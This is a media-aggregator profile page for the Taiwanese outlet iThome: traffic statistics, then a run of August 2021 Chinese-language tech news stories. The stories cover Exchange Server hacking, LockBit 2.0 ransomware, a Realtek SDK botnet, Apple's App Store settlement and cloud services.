iThome

台灣·持續收錄

標籤科技編輯標籤

今日收錄: 0篇
近 24 小時: 1篇
近 7 天: 118篇

媒體資料

刊登媒體: iThome
所屬地區: 台灣
收錄範圍: 台灣媒體 · 繁體中文
來源網站: www.ithome.com.tw
月造訪量: 1,694,5742026/09
Radar 全球: 前 100,000 名
開始收錄: 2026/9/29
最新報導: 2026/11/7
最近更新: 11/8 04:54
流量資料: 2026/10/25 更新

流量與排名比較 →

寫法近 90 天

轉述貼文: 0.3%2 篇
發言者: 公職、政治人物 50.0%網友、民眾 50.0%
標題用詞: 懸念 0.0%反應 0.1%攻擊 0.0%

看這家的轉述報導與各家比較 →

網站流量來源Similarweb · 2026/09

台灣訪客占 90%，約 1,532,709 次造訪

來源國家（前五）

台灣90%
香港4.4%
中國0.9%
美國0.9%
新加坡0.3%

導流來源

自然搜尋59%
直接造訪24%
其他網站連入10%
社群3.4%
電子郵件1.2%
付費社群0.9%
生成式 AI0.7%
展示廣告0.3%
付費搜尋0.1%

全台排名: 第 492 名
全球排名: 第 35,757 名
類別排名: 第 28 名 · Computers Electronics and Technology/Computers Electronics and Technology
跳出率: 63%
每次造訪: 2.6 頁
平均停留: 2 分 8 秒

整個網域的估算值，比例以造訪次數計，非精確 page views。

媒體關係

近 7 天

已比對 118 篇內文

2
引用其他媒體: 0
被其他媒體引用: 0
同署名跨站: 0
已註明來源: 0
未辨識稿源

主要關係對象2 家

彭博社1筆關係
路透社1筆關係

直接文字比對引用對方被對方引用

在媒體關係圖查看 →

媒體關係

比對結果載入中…

報導關鍵字

近 7 天

較早收錄

本頁 60 篇 · 依收錄順序顯示摘要

報告：中國駭入Exchange Server漏洞訓練AI
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>今年3月間Exchange Server漏洞被揭露且有駭客活動，引發各國政府和企業恐慌，不過一些專家相信，這可能是中國政府完成另一項更重要計畫的手段之一──訓練人工智慧（artificial intelligence，AI）技術。</p> <p><a href="https://www.npr.org/2021/08/26/1013501080/chinas-microsoft-hack-may-have-had-a-bigger-purpose-than-just-spying" target="_blank">美國公共廣播電台（NPR）報導</a>引述美國協助政府情報作戰的官員說法，指出中國利用Exchange Server漏洞蒐集美國民眾及政府資訊，最終目的是用於推進中國AI技術研發。</p> <p>NPR報導指出，2017年中國政府宣佈推動AI為國家優先要務之一。為此中國一方面要培育電腦科學家撰寫演算法，另一方面則開始蒐集開發及訓練演算法必須的大量資料。培育科學家方面，根據報導，截至2017年中國的AI相關論文已經躍居全球之冠，成立的AI公司已超過千家，僅次於美國。在資料方面，除了中國自己的13億人口外，美國專家認為，美國人的資料也在他們的蒐集範圍內。</p> <p>報導引述美國前國家反情報及安全中心主任，現為Evanina Security執行長的William Evanina說法，指出美國第三大消費者信用報告業者Equifax在2017年底爆發的大規模資料外洩，正是中國一次成功的反情報任務。<a href="https://www.ithome.com.tw/news/135768" target="_blank">去年美國司法部控告</a>中國解放軍人士在2017年入侵Equifax，盜走了1.5億名美國消費者的個人資料。</p> <p><a href="https://www.intelligence.senate.gov/sites/default/files/documents/os-bevanina-080421.pdf" target="_blank">他本月在美國參議院的公聽會上指出</a>，他相信中國已掌握了80%美國人的資料，甚至比美國官方蒐集的還多，其他行動就是為了蒐集剩下20%。</p> <p>而Exchange Server攻擊就是為了完整這個目的而啟動的計畫之一。微軟於今年3月揭露和中國有關的駭客組織Hafnium，正在開採Exchange Server上合稱ProxyLogon的4個漏洞。有安全公司估計，最初全球有超過40萬臺系統曝險，而在微軟公告一個星期內，<a href="https://www.ithome.com.tw/news/143079" target="_blank">至少有3萬家美國機構，包括州政府、地方公營（如消防、警政）單位、教育機構、電信公司、或是小型店家等遭駭</a>。</p> <p>報導引述微軟主管數位犯罪部門副總裁Tom Burt指出，Hafnium活動最早可追溯到2020年6月，即微軟公告的9個月前。Burt指出，微軟原本希望透過Patch Tuesday不動聲色修補Exchange Server漏洞，不料3月發現駭客部署後門程式速度加快，迫使微軟將之公開。</p> <p>不過美國官方仍然定調Exchange Server攻擊為一種監控行為。<a href="https://www.ithome.com.tw/news/145755" target="_blank">7月白宮也聯同英國、歐盟共同宣稱</a>，中國政府扶植的駭客組織利用微軟今年初爆發的Exchanger Server零時差漏洞，執行大規模網路間諜行動。</p> </div></div></div>
2021/8/27 16:13作者林妍溱https://www.ithome.com.tw/news/146425
研究人員針對勒索軟體LockBit 2.0提出警告，2個月逾50個組織受害
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>最近半年，有數款新興的勒索軟體發動攻擊，其中自今年6月推出2.0版的LockBit（亦稱為ABCD），不僅<a href="https://www.ithome.com.tw/news/146157">攻擊大型IT顧問公司Accenture</a>，也在澳洲造成災情，使得<a href="https://www.ithome.com.tw/news/146226">當地的網路安全中心（ACSC）發布資安通報</a>，提出緩解措施讓企業加以防範。而最近，<a href="https://unit42.paloaltonetworks.com/emerging-ransomware-groups/">資安業者Palo Alto Networks也對於這款勒索軟體提出警告</a>，並指出在駭客組織推出LockBit 2.0之後，短短2個月就有52個組織成為受害者。</p> <p>勒索軟體LockBit自2019年9月出現，開發者以訂閱制度提供給買家運用，該勒索軟體其中一項特性是加密檔案的速度，號稱在業界名列前茅。而最近引進資安研究人員關注的原因，就是該勒索軟體的開發者推出了LockBit 2.0大改版，根據ACSC提到後繼版本的新功能，是加入名為StealBit的竊密能力。</p> <p>而對於迄今遭到LockBit 2.0攻擊的組織，Palo Alto指出，涵蓋的行業與國家可說是相當廣泛，攻擊者入侵的52個組織，包含會計、汽車、顧問、工程、財務、高科技、醫療、保險、執法單位、法律服務、製造業、非營利能源產業、零售業、物流業，以及公共事業領域等。</p> <p>攻擊者下手目標的國家，除了日前發出警告的澳洲之外，還包含阿根廷、奧地利、比利時、巴西、德國、義大利、馬來西亞、墨西哥、羅馬尼亞、瑞士、英國，以及美國。</p> <p>經營LockBit 2.0的駭客宣稱，他們的勒索軟體加密速度又再度進化，在搭載Xeon E5-2680中央處理器的測試主機上，每秒能加密373MB檔案，加密100GB資料在4分半就能完成；相較今年2月的舊版LockBit，加密速度為每秒266MB，可說是快上不少，而LockBit 2.0的檔案加密速度，更是第3名勒索軟體Cuba（每秒185MB）的2倍。Palo Alto表示，賣家為了吸引攻擊者採用他們的勒索軟體訂閱服務，他們還製作比較表。</p> <p><a href="https://s4.itho.me/sites/default/files/images/word-image-31-top10.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/word-image-31-top10.png" style="width: 580px; height: 245px;" /></a></p> <p>與許多勒索軟體相同的是，LockBit 2.0在加密電腦檔案之後，會更換桌布顯示勒索訊息。但比較特別的是，這個桌布也包含了利誘使用者的訊息，表明他們徵求能入侵企業或組織的帳號資料，像是遠端桌面連線（RDP）、VPN、公司電子郵件信箱等，號稱提供這類資料的使用者，有機會賺得數百萬美元，駭客留下名為Tox的即時通訊軟體ID，讓想要參與的人能跟他們聯繫。</p> <p><a href="https://s4.itho.me/sites/default/files/images/word-image-34-s.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/word-image-34-s.png" style="width: 580px; height: 416px;" /></a></p> <blockquote><p>LockBit 2.0在加密檔案之後，會將桌布更換為「重要檔案已全被加密」的訊息，但比起許多勒索軟體會在桌布說明要如何支付贖金、或者是不要關掉電腦以免資料無法復原等警告，我們可以看到LockBit 2.0的訊息下半部有一大段淺灰色文字，但這段訊息與勒索受害電腦沒有直接關係，而是祭出高額的分紅，想要徵求可以存取企業內部網路的帳密資料。</p> </blockquote> </div></div></div>
2021/8/27 15:01作者周峻佑https://www.ithome.com.tw/news/146421
Google強化App Engine應用程式安全，加入管理服務帳戶新功能
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://cloud.google.com/blog/products/serverless/app-engine-egress-controls-and-user-managed-service-accounts" target="_blank">Google更新其無伺服器應用程式託管平臺App Engine</a>，加入兩項新功能，除了提供用戶更多出站流量控制（Egress Controls）能力之外，也加入用戶管理服務帳戶，使得用戶能夠應用最低權限，來增加在App Engine上應用程式的安全性。</p> <p>App Engine為一個完全託管的應用程式平臺，對應用程式的出站流量提供了一個IP地址池，讓用戶能夠不必管理網路細節就能提供服務，對不少用戶方便且已經足夠，不過，有部分App Engine用戶需要對出站請求進行更多的控制，因此Google加入了新功能來滿足這些用戶的需求。</p> <p>App Engine的出站流量控制新功能，借助Cloud VPC服務中的無伺服器VPC存取功能，無伺服器VPC存取功能，可讓用戶配置連接器，將請求從App Engine應用程式路由到自己的VPC網路，而出站流量控制，能使用戶更好地控制使用VPC連接器的流量。</p> <p>Google提到，出站流量控制的重要使用案例，是對App Engine的HTTP請求創建靜態出站IP地址，因為部分App Engine用戶提供的SaaS服務，必須連接到終端用戶網路，不過這些終端用戶通常傾向只對特定來源IP的流量開啟防火牆，而藉由出站流量控制，用戶就可以使用無伺服器VPC存取和Cloud NAT來配置靜態IP地址。</p> <p>App Engine另一項新功能，是讓用戶可以對每個應用程式版本，指定不同的服務帳戶。目前App Engine使用預設服務帳戶，來代表App Engine應用程式和其他GCP服務互動，而這個預設服務帳戶，是在初始App Engine應用程式過程中設定的，用戶可以管理並授予該服務帳戶的權限，但因為這個帳戶被應用程式的所有服務使用，因此無論特定服務需要的權限為何，所有服務都共享同一個權限集。</p> <p>而現在Google加入用戶管理服務帳戶新功能，讓用戶可以對應用程式的每個版本，指定使用不同的服務帳戶，限制每個服務帳戶僅具執行任務需要的權限，而非對單一共享服務帳戶，授予應用程式中的所有服務需要的權限，好處是用戶可以遵循最低權限的最佳實踐。當用戶未指定服務帳戶，則App Engine使用預設服務帳戶。</p> </div></div></div>
2021/8/27 11:24作者李建興https://www.ithome.com.tw/news/146418
蘋果讓步了，同意讓開發者與使用者溝通其它付款方式
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.apple.com/newsroom/2021/08/apple-us-developers-agree-to-app-store-updates/" target="_blank">蘋果在26日宣布</a>，在一起由美國開發者提出的集體訴訟案中，該公司與提告人已達成和解協議，蘋果將同意讓開發者與使用者溝通其它付款方式，以讓使用者選擇自App Store以外的途徑付款，同時蘋果也發表了新聞合作夥伴專案（News Partner Program），邀請獨立媒體加入Apple News，且承諾只會抽取15%的訂閱費用。</p> <p>此案無關<a href="https://www.ithome.com.tw/news/139405" target="_blank">Epic Games與蘋果之間的訴訟案</a>，而是有一群美國小型開發者在2019年集體控告蘋果違反反托拉斯法令。</p> <p>根據雙方的協議，雙方同意維持App Store針對小型開發者既有的拆帳架構，亦即年收入低於100萬美元的開發者，只需支付15%的拆帳比例；且App Store的搜尋功能在3年內，都必須基於客觀標準提供搜尋結果，例如下載數、評價及關聯性等；蘋果除了讓開發者能夠申訴被拒絕的程式之外，也將更清楚地闡明上述流程，以及發表年度透明度報告，與外界分享程式審核的各種數據。</p> <p>在此次的協議中，蘋果最大的讓步當屬將允許開發者接觸使用者，提供App Store以外的支付管道。蘋果表示，開發者可透過電子郵件等工具與使用者溝通，且蘋果無法對這些在App Store以外發生的交易收取佣金。</p> <p>另一方面，蘋果準備建立一個基金來協助美國小型的開發者，特別是受到疫情影響的對象，亦發表了新聞合作夥伴專案，邀請獨立媒體加入Apple News，若於Apple News中提供訂閱服務，則僅需支付15%的佣金。</p> <p>此一蘋果與開發者之間的和解協議，將在法院同意之後付諸實行。</p> </div></div></div>
2021/8/27 11:50作者陳曉莉https://www.ithome.com.tw/news/146419
殭屍網路程式正試圖攻擊Realtek晶片SDK漏洞
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>本月稍早安全廠商揭露<a href="https://www.ithome.com.tw/news/146236" target="_blank">瑞昱半導體的無線晶片SDK存在多項安全漏洞</a>，影響65家IoT廠商，本周另外二家安全業者相信，已經有駭客盯上採用Realtek晶片的IoT裝置，企圖感染殭屍網路程式。</p> <p><a href="https://www.radware.com/security/threat-advisories-and-attack-reports/dark-iot-botnet" target="_blank">安全廠商Radware上周發現一隻殭屍網路程式Dark.IoT的攻擊活動</a>。他們是在今年二月首次發現這隻殭屍網路程式，並依程式二進位檔以攻擊對象種類命名的手法，稱之為Dark.IoT。8月間，他們發現這隻惡意程式將CVE-2021-35395納入其開採的對象。這正是稍早被IoT Inspectors公開的Realtek晶片SDK 10多項漏洞中的一項。</p> <p><a href="https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf" target="_blank">根據瑞昱的說明</a>，CVE-2021-35395是一項阻斷服務（Denial of Service）漏洞，發生在HTTP Web server “boa”對傳入的HTTP呼叫中的引數驗證不足，攻擊者可加入過長的呼叫引數來引發緩衝溢位，進而導致裝置服務毁損、中斷服務。<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-35395" target="_blank">CVE-2021-35395的CVSS 3.0風險值高達9.8</a>。</p> <p>瑞昱已經釋出新版SDK，以修補有問題的版本。</p> <p>Palo Alto今年三月發現，Dark.IoT進入受害系統中會刪除/tmp 及 /var/資料夾的紀錄檔以隱藏攻擊行蹤。它的shell script還會終止裝置上的合法防護行程，以便下載Dark.IoT二進位檔。</p> <p>Radware研究人員Daniel Smith指出，Dark.IoT的操作組織是等著白帽駭客公佈新漏洞及概念驗證（PoC）才出手，在幾天內將新漏洞納編進化其殭屍網路。但另一方面納編CVE-2021-35395，還需要路徑穿越(path traversal)漏洞結合惡意組態檔注入手法，這需要相當功力，顯示他們不是寫程式作亂的外行人。</p> <p>研究人員相信Dark.IoT和Mirai變種背後是同一個駭客組織。事實上，CVE-2021-35395可能更早就讓用戶曝險。以色列安全公司<a href="https://www.helpnetsecurity.com/2021/08/24/cve-2021-35395-exploitation/" target="_blank">SAM Seamless Network另外還發現</a>，駭客開採CVE-2021-35395以植入Mirai變種。</p> <p>Mirai變種今年以來活動猖獗。<a href="https://www.ithome.com.tw/news/143288" target="_blank">Palo Alto</a>及<a href="https://www.ithome.com.tw/news/146091" target="_blank">Tenable</a>公司分別發現Mirai變種攻擊鎖定多種IoT設備，包括使用智易科技（Arcadyan）韌體的37款路由器設備。</p> </div></div></div>
2021/8/27 12:15作者林妍溱https://www.ithome.com.tw/news/146420
Google可能付蘋果150億美元換取預設搜尋引擎地位
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>根據一份分析師估計，今年Google可能付給蘋果150億美元，以換取成為Safari瀏覽器預設搜尋引擎，而在微軟威脅陰影下，明年可能還會增加。</p> <p><a href="https://www.ped30.com/2021/08/25/apple-google-payments-15b/" target="_blank">知名資訊專欄作家Philip Elmer-DeWitt</a>本周引述投資機構Bernstein分析師Toni Sacconaghi的報告，列出近三年Google為了確保成為瀏覽器預設搜尋引擎而付給蘋果的金額。該分析機構依據蘋果公開資料及其他資訊，估計Google 2021年付給蘋果150億美元，比去年的100億大幅增長，推升蘋果服務來到營收850億美元，佔蘋果毛利將近9%。</p> <p>分析師進一步指出，為了防止微軟採取類似方法取代Google搜尋，分析師相信Google仍然會持續「流量取得成本」（TAC，traffic acquisition costs）的策略，估　計2022年付給蘋果180億到200億美元。</p> <p>如果分析機構的數字正確，那蘋果從Google身上賺到的營收呈數倍成長。根據英國主管機關競爭與市場管理署（Competition and Markets Authority）的調查報告，2019年Google支付蘋果15億美元，換取成為Safari的預設搜尋引擎。</p> <p>Google也對其他瀏覽器業者實施類似策略。<a href="https://www.ithome.com.tw/news/139368" target="_blank">媒體去年報導</a>，Google將以每年4億到4.5億美元的代價，以便能在2021到2023年間成為Firefox預設搜尋引擎。</p> </div></div></div>
2021/8/27 10:31作者林妍溱https://www.ithome.com.tw/news/146417
研究：川普因虛假訊息遭推特限制互動的推文，反在臉書、Reddit大量傳播
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>推特在最近美國總統大選時，使用兩種策略干預Donald Trump（川普）存在錯誤資訊的推文，其一是加上錯誤資訊標籤的軟干預，其二是阻止用戶與該推文互動的硬干預，但是<a href="https://misinforeview.hks.harvard.edu/article/twitter-flagged-donald-trumps-tweets-with-election-misinformation-they-continued-to-spread-both-on-and-off-the-platform/">研究發現</a>，與推特沒有干預的推文相比，無論使用哪一種干預手段，都會增加這些推文的傳播，研究人員提到，平臺需要從生態系統層面來考慮內容審核的方法。</p> <p>研究人員分析了美國前總統Donald Trump，從2020年11月1日到2021年1月8日期間發布的推文，部分推文因為含有和選舉相關的錯誤訊息，因此被推特標上存在錯誤訊息的標籤，來警告其他使用者，而研究人員從推特收集資料，包括未被標記的推文，和被加上警告標籤，或是阻止用戶參與的推文，以分析傳播的差異。</p> <p>這項研究有兩項發現，第一是研究人員發現，硬干預能夠成功阻止推文在推特平臺上傳播，但是受到軟干預的推文，比沒有接受任何干預的推文傳播得更遠。從下圖A可以發現，受到硬干預推文的棕色線段，約在一小時後會因為受到推特限制無法被轉推呈現水平，而軟干預推文的黃色線，轉推數比無干預的綠色線還要高上不少，在C圖的參與度比較，也看得出軟干預推文的平均參與程度，大於綠色的無干預推文，而硬干預推文因為限制互動的關係，因此參與度較低。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/twitter_figure.png" style="width: 580px; height: 702px;" /></p> <p>有趣的是，研究人員還分析轉推這些推文的使用者跟隨者人數，轉推硬干預推文的使用者跟隨人數最低，而轉推無干預推文的用戶跟隨者人數最多，平均超過3,000位跟隨者。</p> <p>第二項研究發現則是，和推特上受到軟干預和無干預的推文相比，硬干預的推文在臉書、Instagram和Reddit上傳播的時間更長，範圍也更廣。從下圖A在臉書上的累積貼文數可以清楚看到，受到硬干預的推文，在臉書上受到歡迎的程度，是無干預和軟干預的數倍，而且無論是張貼用戶的訂閱者或是貼文的參與度，硬干預都是三者中最高的。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/facebook_figure.png" style="width: 580px; height: 700px;" /></p> <p>這些資料的觀察，雖然無法確定究竟是推特干預了更有可能被傳播的推文，抑或是干預強化了推文的傳播，不過，研究人員提到，這份研究提供了描述性證據，證明推特標記為錯誤訊息的推文，受到跨平臺的傳播，並且發現當貼文在特定平臺遭到封鎖，仍會以連結、引用和螢幕截圖的形式，在其他主流平臺中大幅傳播。</p> <p>這項研究凸顯了生態系層面的因素，對內容審查的重要性，其結果可被用於往後平臺制定干預錯誤訊息的方法。</p> </div></div></div>
2021/8/27 09:47作者李建興https://www.ithome.com.tw/news/146411
Cloud周報第118期：英國大型汽車經銷商要將關鍵SAP系統上公雲，國際太空站測試靠邊緣雲端運算監測太空人健康
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="vertical-align: top; color: rgb(0, 0, 255);">重點新聞（2021/08/19～2021/08/25）</span></h3> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 上雲 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 汽車銷售 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> SAP on Google Cloud </span></strong></span> </p> <p><strong style="font-size: 22px;">汽車經銷商Inchcape計畫搬遷SAP系統上公雲，提高營運自動化能力</strong></p> <p>業務橫跨36國的英國汽車經銷商Inchcape近日宣布，計畫將自家許多關鍵系統搬遷上GCP平臺，來提高營運自動化能力，進而提升營運效率。計畫上雲的工作負載包含了業務、行銷和營運系統，以及數據。這些系統原先是採用部署在本地端的SAP軟體產品，趁著SAP剛於7月宣布SAP軟體訂閱方案成為GCP訂閱服務之一，Inchcape也趁勢轉換上雲，成為首批在Google雲上執行SAP系統的英國企業。搬遷這批系統上雲後，Inchcape將連結散落各地的各種數據集，至集中且可擴充的平臺，並使用公雲的AI、ML和分析功能，管理和分析各類數據，來重新打造客戶售後服務，以及與汽車製造商間的供應鏈合作。<a href=" https://cloud.google.com/press-releases/2021/0824/inchape">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 外太空 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 太空人健康監控 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 邊緣雲端運算 </span></strong></span> </p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong>太空人健康監測也靠邊緣運算，太空站內就近預處理基因定序資料再回傳地球上雲再解析</strong></span></strong></p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%961_%E5%A4%AA%E7%A9%BA_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_%E5%BE%AE%E8%BB%9F.png" style="width: 600px; height: 337px;" /></strong></span></strong></p> <p>微軟近日分享正在國際太空站進行的一項實驗，採邊緣雲端運算概念，結合搭載在太空站的邊緣運算系統HPE Spaceborne Computer-2，還有地球上的Azure雲端服務，來監控太空人的健康風險。太空人待在太空站工作時，因缺少地球大氣層阻擋宇宙輻射，長期暴露在高輻射環境中，而面臨嚴重的健康風險，需要透過基因定序資料分析作業，來確認基因是否發生突變。不過，國際太空站基因定序儀的資料量太過龐大，再加上太空站和地球間的傳輸頻寬有限，所以，微軟使用已部署在太空站的運算設備，來分析和過濾大型資料集後，才將結果傳回地面站，再送至Azure執行進一步的解析，發揮邊緣雲端運算的作用。</p> <p>由於在開發和測試期間，開發人員無法存取HPE Spaceborne Computer-2或HPE地面站，因此人員先利用Azure模擬、驗證實驗，並已在8月中上傳120MB的程式到國際太空站的Spaceborne Computer-2執行。根據試驗，150 MB原始資料經Spaceborne Computer-2預處理後，傳回地球的資料剩900KB，且17秒內完成傳輸。微軟表示，隨著人類持續推展太空任務，利用邊緣雲端運算能力突破運算資源的極限，會越來越重要，應用案例也會增加。<a href=" https://azure.microsoft.com/en-us/blog/genomics-testing-on-the-iss-with-hpe-spaceborne-computer2-and-azure/">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Gartner </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 魔力象限 </span></strong></span> <span style="color:rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 公有雲 </span></strong></span> </p> <p><span style="font-size: 22px;"><strong>Gartner：雲基礎設施和平臺服務市場正在整合，4家公雲拿下全球逾9成市場</strong></span></p> <p><span style="font-size: 22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%962_Magic%20Quadrant_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_Gartner.png" style="width: 600px; height: 623px;" /></strong></span></p> <p>Gartner日前發布了2021年雲端基礎設施和平臺服務的魔力象限報告，並表示，雲基礎設施和平臺服務市場正在整合，全球9成以上市場集中到4家公雲業者上，包含帶頭的AWS和微軟，以及緊隨他們的阿里巴巴和Google，且整合態勢沒有放緩的跡象。今年依然沒有任何一個新進列名的業者，領導者象限的業者分布與去年相似，依然由AWS大幅領先緊接在後的微軟和Google。阿里巴巴去年處於立基業者象限，因為大量投資、開發獨特技術，且有很多用戶，雖然可服務的地理範圍仍有限，但Gartner也將其改列入到遠見者象限中。甲骨文、IBM和騰訊雲仍然位居立基者象限，而挑戰者象限則空缺。針對雲基礎設施和平臺服務市場目前由少數幾家業者引領的態勢，Gartner表示，主要是因企業尋求的是，具高度可靠性且提供廣泛功能的產業化產品，並期待產品可以滿足所有的工作負載需求，導致精品型雲端供應商無法與全球性大型業者的創新速度競爭。<a href=" https://www.gartner.com/doc/reprints?id=1-271OE4VR&ct=210802&st=sb">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> EC2 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 執行實例 </span></strong></span> <span style="color:rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> x86架構 </span></strong></span> </p> <p><span style="font-size: 22px;"><strong>AWS推搭載最新Xeon的新通用型EC2實例，與前一代同類實例相比性價比提高15%</strong></span></p> <p>AWS近日擴展第六代EC2執行實例的產品項目，推出採x86架構的新通用型執行實例M6i。新執行實例搭載了最新一代英特爾Xeon可擴充處理器，全核心渦輪加速頻率為3.5 GHz，並可提供最高50Gbps的網路頻寬，以及最高40Gbps的Amazon EBS頻寬。整體而言，與EC2第五代同類型執行實例相比，M6i執行實例性價比提高了15％。</p> <p>為執行通用工作負載需求打造的M6i，可用於執行包含網頁和應用程式伺服器、容器化應用程式、微服務和小型資料儲存。AWS總共發布了8種M6i規格型號，以最高規格的型號m6i.32xlarge為例，配備了128個vCPU、50Gbps網路頻寬，以及40Gbps EBS頻寬，還有512GiB記憶體，可供擴充應用程式。因M6i具有更大的記憶體頻寬，可用來執行像是SAP HANA等企業應用程式，或是計算流體力學等高效能運算工作負載。目前新執行實例已先在6個AWS地區上線，包含北維吉尼亞州、法蘭克福、新加坡等。<a href=" https://aws.amazon.com/tw/blogs/aws/new-amazon-ec2-m6i-instances-powered-by-the-latest-generation-intel-xeon-scalable-processors/">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 微軟 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 美國政府 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 雲端基礎設施 </span></strong></span> </p> <p><strong style="font-size: 22px;"><strong>微軟正式推出最高機密政府雲Azure Government Top Secret，美國安局已經用了</strong></strong></p> <p>微軟日前宣布，專供政府儲存最高機密資訊的最高機密雲Azure Government Top Secret，正式上線，這是除了另一個安全等級較低也可代管政府機密資料的Azure Government Secret之外的新雲端基礎設施，將共同提供給美國情報單位、國防部和聯邦政府安全等級的機構使用。近期多起資安事件波及美國政府單位，促使美國加碼投資聯邦政府的資訊安全建設，包含與微軟合作開發這項新雲端基礎設施Azure Government Top Secret。美國國家安全局現已利用Azure Government Top Secret來執行任務。</p> <p>目前最高機密政府雲提供了60多項服務，包含Azure Kubernetes Service、Azure Functions、Azure App Service、Azure Security Center及安全管理平臺Azure Sentinel等，且日後還會再新增其他Azure服務。Azure Government Top Secret已獲得美國聯邦政府頒發的資訊系統運作授權（ATO），也已符合美國政府的風險管理和認證標準ICD 503，以及經認證設施符合ICD 705的標準。微軟另宣布Azure Government Secret新增了多項服務，目前共有73項服務。<a href="https://azure.microsoft.com/en-us/blog/azure-government-top-secret-now-generally-available-for-us-national-security-missions/">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> AWS </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 記憶體資料庫服務 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> Redis </span></strong> </span></p> <p><span style="font-size: 22px;"><strong>AWS推出記憶體式資料庫服務MemoryDB for Redis，能靠記憶體建立持久性的主資料庫</strong></span></p> <p><span style="font-size: 22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%963_REDIS_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_AWS.png" style="width: 600px; height: 532px;" /></strong></span></p> <p>AWS近日推出相容於Redis的記憶體資料庫服務Amazon MemoryDB for Redis，供開發者建置具備微秒讀取、數毫秒內寫入的效能，並且具有資料持久性和高可用性的應用程式。這項新服務可用來作為應用程式的單一主要資料庫。用戶的所有資料都會儲存在記憶體中，進而實現低延遲和高吞吐量的資料存取能力。</p> <p>此外，MemoryDB使用分散式交易性日誌，能跨可用區域儲存資料，來以高持久性支援故障移轉、資料恢復和節點重啟。AWS表示，通過MemoryDB，使用者不需在資料庫前添加快取，就可實現互動式應用程式和微服務架構所需要的低延遲。用戶可以通過AWS控制臺、命令列介面和AWS開發工具包，快速建立MemoryDB叢集，不過，目前MemoryDB僅支援R6g Graviton2執行實例。新服務現階段先在北維吉尼亞州、愛爾蘭、孟買和聖保羅的AWS地區提供。<a href=" 